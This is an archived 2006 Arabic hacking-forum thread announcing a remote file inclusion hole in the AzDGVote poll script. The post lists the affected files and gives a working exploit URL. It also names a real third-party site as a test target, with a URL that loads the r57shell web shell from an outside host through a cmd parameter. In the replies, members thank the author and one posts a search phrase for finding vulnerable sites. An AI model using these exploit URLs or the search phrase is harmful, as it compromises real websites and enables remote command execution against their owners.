المساعد الشخصي الرقمي

مشاهدة النسخة كاملة : AzDGVote File inclusion

متكي ورا الشمس
11-04-2006, 04:23
ثغره انكلود في AzDGVote
موقع اصحاب السكربت:http://www.azdg.com

Demo:http://www.azdg.com/scripts/AzDGVote/vote.php?id=1


الملفات المصابه

vote.php,view.php,admin.php
and /admin/index.php


الاستغلال:
http://victim.com/poll/view.php?int_path=http://evilsite

للتجربه

http://www.podmedia.nl/ordinaopenpodcast/script/poll/view.php?int_path=http://rst.void.ru/download/r57shell.txt?cmd
----------------
اكتشاف: SnIpEr_SA (متكي ورا الشمس)

-----------------------------
ملاحظه: يمكن السكربت مو مشهور والله مدري عنه لكن تعرفون سكربتات الاقتراع يكون فيها غموض لانه محد يحط عليها الاصدار عشان كذا يمكن يصعب عليكم البحث عنه ولكن هو بالفعل موجود ووجدت عنه حديث ,, وفحصت السكربت ووجدت الاخطاء قلت احطها لاخواني من باب انها مكتبه ثغرات ,, وان شا الله نجيب الافضل من هذي ,,
ابوليلى14
11-04-2006, 09:29
يعطيك العافيه على هذا المجهود .. وان شاء الله نستفيد من هذه الثغره ... >>>وش عنده ههههه



مشكور مره ثانيه ...
AvIrL@BoY@LoVeR
11-04-2006, 09:48
كفو والله متكي :)

تشااو
متكي ورا الشمس
11-04-2006, 11:37
الله يخليكم اخواني شاكر مروركم ,, : )
متكي ورا الشمس
11-04-2006, 11:51
الله يخليكم اخواني شاكر مروركم ,, : )
samo_zin123123
12-04-2006, 12:42
معلش ياجماعه انا اكتنب ايه فى جوجل
أبو عابد2
12-04-2006, 01:08
ابداع X ابداع ياملك الإبداع

وربي موضوع رائع

تحياتي ياعسل ...
متكي ورا الشمس
13-04-2006, 07:52
حياكم اخواني جميعا ,,

وهذا التسجيل بمواقع السيكورتي ,,
http://www.securityfocus.com/bid/17470

http://www.securityfocus.com/archive/1/430691/30/0/threaded


--------------
SnIpEr_SA
Da7OmE
14-04-2006, 03:57
يسلمووووووووووووووووو ويعطيك العـآفيـه مأقصرٍت
شفتهأ قبل فترٍه فـي موأقع السكيورٍتي وجألس أقول من سنآيبرٍ تلعت أنت ^_*
تشكرٍأت
aymane71
14-04-2006, 07:56
بارك الله فيك.
يحب يتعلم
16-04-2006, 03:25
يديك العافية
legend of hack
11-06-2006, 01:46
تسلم ايدك يا متكي والف مليون مبروك على الاكتشاف


معلش ياجماعه انا اكتنب ايه فى جوجل

اكتب

powered by AzDGVote

تحياتي

Le CoPrA